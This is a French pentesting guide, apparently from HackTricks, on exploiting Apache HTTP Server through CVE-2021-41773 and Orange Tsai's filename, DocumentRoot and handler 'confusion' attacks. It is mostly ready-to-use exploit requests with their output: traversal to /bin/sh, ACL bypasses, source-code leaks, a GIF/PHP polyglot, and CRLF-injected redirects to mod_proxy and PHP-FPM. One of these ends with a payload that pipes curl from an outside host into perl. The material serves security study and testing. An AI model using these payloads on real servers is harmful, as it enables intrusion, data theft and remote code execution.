13 KiB
Apache
{{#include ../../banners/hacktricks-training.md}}
Extensions PHP exécutables
Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter :
grep -R -B1 "httpd-php" /etc/apache2
Aussi, certains endroits où vous pouvez trouver cette configuration sont :
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
Confusion Attack
Ces types d'attaques ont été introduits et documentés par Orange dans cet article de blog et ce qui suit est un résumé. L'attaque "confusion" abuse essentiellement de la façon dont les dizaines de modules qui travaillent ensemble pour créer un Apache ne fonctionnent pas parfaitement synchronisés et faire en sorte que certains d'entre eux modifient des données inattendues peut provoquer une vulnérabilité dans un module ultérieur.
Filename Confusion
Truncation
Le mod_rewrite va tronquer le contenu de r->filename après le caractère ? (modules/mappers/mod_rewrite.c#L4141). Ce n'est pas totalement faux car la plupart des modules traiteront r->filename comme une URL. Mais dans d'autres occasions, cela sera traité comme un chemin de fichier, ce qui pourrait poser un problème.
- Path Truncation
Il est possible d'abuser de mod_rewrite comme dans l'exemple de règle suivant pour accéder à d'autres fichiers à l'intérieur du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un ?:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Attribution trompeuse de RewriteFlag
Dans la règle de réécriture suivante, tant que l'URL se termine par .php, elle sera traitée et exécutée comme du php. Par conséquent, il est possible d'envoyer une URL qui se termine par .php après le caractère ? tout en chargeant dans le chemin un type de fichier différent (comme une image) contenant du code php malveillant à l'intérieur :
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
Contournement d'ACL
Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas pouvoir accéder, même si l'accès devrait être refusé avec des configurations comme :
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
C'est parce que par défaut, PHP-FPM recevra des URL se terminant par .php, comme http://server/admin.php%3Fooo.php et parce que PHP-FPM supprimera tout ce qui suit le caractère ?, l'URL précédente permettra de charger /admin.php même si la règle précédente l'interdisait.
Confusion DocumentRoot
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Un fait amusant à propos d'Apache est que la réécriture précédente essaiera d'accéder au fichier à la fois depuis le documentRoot et depuis la racine. Ainsi, une requête à https://server/abouth.html vérifiera la présence du fichier dans /var/www/html/about.html et /about.html dans le système de fichiers. Ce qui peut essentiellement être exploité pour accéder à des fichiers dans le système de fichiers.
Divulgation de Code Source Côté Serveur
- Divulguer le Code Source CGI
Il suffit d'ajouter un %3F à la fin pour divulguer le code source d'un module cgi :
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Divulguer le code source PHP
Si un serveur a différents domaines dont l'un est un domaine statique, cela peut être exploité pour traverser le système de fichiers et divulguer du code php :
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Manipulation des gadgets locaux
Le principal problème avec l'attaque précédente est qu'en règle générale, la plupart des accès au système de fichiers seront refusés comme dans le modèle de configuration du serveur HTTP Apache :
<Directory />
AllowOverride None
Require all denied
</Directory>
Cependant, les systèmes d'exploitation Debian/Ubuntu autorisent par défaut /usr/share :
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Par conséquent, il serait possible d'abuser des fichiers situés dans /usr/share dans ces distributions.
Gadget local pour la divulgation d'informations
- Apache HTTP Server avec websocketd peut exposer le script dump-env.php à /usr/share/doc/websocketd/examples/php/, ce qui peut divulguer des variables d'environnement sensibles.
- Les serveurs avec Nginx ou Jetty pourraient exposer des informations sensibles sur les applications web (par exemple, web.xml) à travers leurs racines web par défaut placées sous /usr/share :
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Gadget local pour XSS
- Sur Ubuntu Desktop avec LibreOffice installé, exploiter la fonction de changement de langue des fichiers d'aide peut conduire à Cross-Site Scripting (XSS). Manipuler l'URL à /usr/share/libreoffice/help/help.html peut rediriger vers des pages malveillantes ou des versions antérieures via unsafe RewriteRule.
Gadget local pour LFI
- Si PHP ou certains packages front-end comme JpGraph ou jQuery-jFeed sont installés, leurs fichiers peuvent être exploités pour lire des fichiers sensibles comme /etc/passwd :
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Gadget local pour SSRF
- En utilisant MagpieRSS's magpie_debug.php à /usr/share/php/magpierss/scripts/magpie_debug.php, une vulnérabilité SSRF peut être facilement créée, fournissant une porte d'entrée pour d'autres exploits.
Gadget local pour RCE
- Les opportunités pour Remote Code Execution (RCE) sont vastes, avec des installations vulnérables comme un PHPUnit obsolète ou phpLiteAdmin. Celles-ci peuvent être exploitées pour exécuter du code arbitraire, montrant le potentiel étendu de la manipulation des gadgets locaux.
Jailbreak à partir des gadgets locaux
Il est également possible de jailbreaker à partir des dossiers autorisés en suivant les symlinks générés par les logiciels installés dans ces dossiers, comme :
- Cacti Log :
/usr/share/cacti/site/->/var/log/cacti/ - Solr Data :
/usr/share/solr/data/->/var/lib/solr/data - Solr Config :
/usr/share/solr/conf/->/etc/solr/conf/ - MediaWiki Config :
/usr/share/mediawiki/config/->/var/lib/mediawiki/config/ - SimpleSAMLphp Config :
/usr/share/simplesamlphp/config/->/etc/simplesamlphp/
De plus, en abusant des symlinks, il a été possible d'obtenir RCE dans Redmine.
Handler Confusion
Cette attaque exploite le chevauchement de fonctionnalité entre les directives AddHandler et AddType, qui peuvent toutes deux être utilisées pour activer le traitement PHP. À l'origine, ces directives affectaient différents champs (r->handler et r->content_type respectivement) dans la structure interne du serveur. Cependant, en raison de code hérité, Apache gère ces directives de manière interchangeable dans certaines conditions, convertissant r->content_type en r->handler si le premier est défini et le second ne l'est pas.
De plus, dans le serveur Apache HTTP (server/config.c#L420), si r->handler est vide avant d'exécuter ap_run_handler(), le serveur utilise r->content_type comme handler, rendant effectivement AddType et AddHandler identiques en effet.
Écraser le handler pour divulguer le code source PHP
Dans cette présentation, une vulnérabilité a été présentée où un Content-Length incorrect envoyé par un client peut amener Apache à retourner le code source PHP. Cela était dû à un problème de gestion des erreurs avec ModSecurity et l'Apache Portable Runtime (APR), où une double réponse conduit à écraser r->content_type en text/html.
Parce que ModSecurity ne gère pas correctement les valeurs de retour, il retournerait le code PHP et ne l'interpréterait pas.
Écraser le handler pour XXXX
TODO : Orange n'a pas encore divulgué cette vulnérabilité
Inviter des handlers arbitraires
Si un attaquant est capable de contrôler l'en-tête Content-Type dans une réponse du serveur, il sera en mesure d'inviter des handlers de module arbitraires. Cependant, au moment où l'attaquant contrôle cela, la plupart du processus de la requête sera déjà effectué. Cependant, il est possible de redémarrer le processus de requête en abusant de l'en-tête Location car si le Status retourné est 200 et que l'en-tête Location commence par un /, la réponse est traitée comme une redirection côté serveur et doit être traitée.
Selon RFC 3875 (spécification sur CGI) dans Section 6.2.2 définit un comportement de réponse de redirection locale :
Le script CGI peut retourner un chemin URI et une chaîne de requête (‘local-pathquery’) pour une ressource locale dans un champ d'en-tête Location. Cela indique au serveur qu'il doit reprocesser la requête en utilisant le chemin spécifié.
Par conséquent, pour effectuer cette attaque, l'une des vulnérabilités suivantes est nécessaire :
- Injection CRLF dans les en-têtes de réponse CGI
- SSRF avec contrôle complet des en-têtes de réponse
Handler arbitraire pour la divulgation d'informations
Par exemple, /server-status ne devrait être accessible que localement :
<Location /server-status>
SetHandler server-status
Require local
</Location>
Il est possible d'y accéder en définissant le Content-Type sur server-status et l'en-tête Location commençant par /
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Gestionnaire arbitraire vers SSRF complet
Redirection vers mod_proxy pour accéder à n'importe quel protocole sur n'importe quelle URL :
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Cependant, l'en-tête X-Forwarded-For est ajouté, empêchant l'accès aux points de terminaison de métadonnées cloud.
Gestionnaire arbitraire pour accéder au socket de domaine Unix local
Accédez au socket de domaine Unix local de PHP-FPM pour exécuter un backdoor PHP situé dans /tmp/:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Gestionnaire arbitraire pour RCE
L'image officielle PHP Docker inclut PEAR (Pearcmd.php), un outil de gestion de paquets PHP en ligne de commande, qui peut être abusé pour obtenir RCE :
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Vérifiez Docker PHP LFI Summary, écrit par Phith0n pour les détails de cette technique.
Références
{{#include ../../banners/hacktricks-training.md}}